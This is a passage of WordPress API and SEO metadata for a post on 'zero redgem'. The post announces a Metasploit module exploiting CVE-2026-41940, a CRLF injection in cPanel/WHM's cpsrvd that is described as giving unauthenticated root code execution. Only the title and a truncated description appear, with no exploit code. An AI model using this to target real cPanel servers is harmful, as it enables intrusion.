redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"cPanel\/WHM CRLF Injection Authentication Bypass RCE_MSF:EXPLOIT-MULTI-HTTP-CPANEL_WHM_AUTH_BYPASS_RCE- zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=55360","og_locale":"en_US","og_type":"article","og_title":"cPanel\/WHM CRLF Injection Authentication Bypass RCE_MSF:EXPLOIT-MULTI-HTTP-CPANEL_WHM_AUTH_BYPASS_RCE- zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-05-18T19:28:13&#8243;,&#8221;description&#8221;:&#8221;Exploits CVE-2026-41940, a CRLF injection in cPanel\/WHM&#8217;s cpsrvd daemon that allows unauthenticated remote code execution as root. The Basic-auth handler writes the password to the...","og_url":"https:\/\/zero.redgem.net\/?p=55360","og_site_name":"zero redgem","article_published_time":"2026-05-18T14:51:36+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"12 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=55360#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=55360"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"cPanel\/WHM CRLF Injection Authentication Bypass RCE_MSF:EXPLOIT-MULTI-HTTP-CPANEL_WHM_AUTH_BYPASS_RCE-","datePublished":"2026-05-18T14:51:36+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=55360"},"wordCount":2410,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CRITICAL","CVE","CVSS","CVSS-9.8","exploit","metasploit","news","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=55360#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=55360","url":"https:\/\/zero.redgem.net\/?p=55360","name":"cPanel\/WHM CRLF Injection Authentication Bypass RCE_MSF:EXPLOIT-MULTI-HTTP-CPANEL_WHM_AUTH_BYPASS_RCE- zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-05-18T14:51:36+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=55360#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=55360"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=55360#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"cPanel\/WHM CRLF Injection Authentication Bypass RCE_MSF:EXPLOIT-MULTI-HTTP-CPANEL_WHM_AUTH_BYPASS_RCE-"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/55360","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=55360"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/55360\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=55360"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=55360"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=55360"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}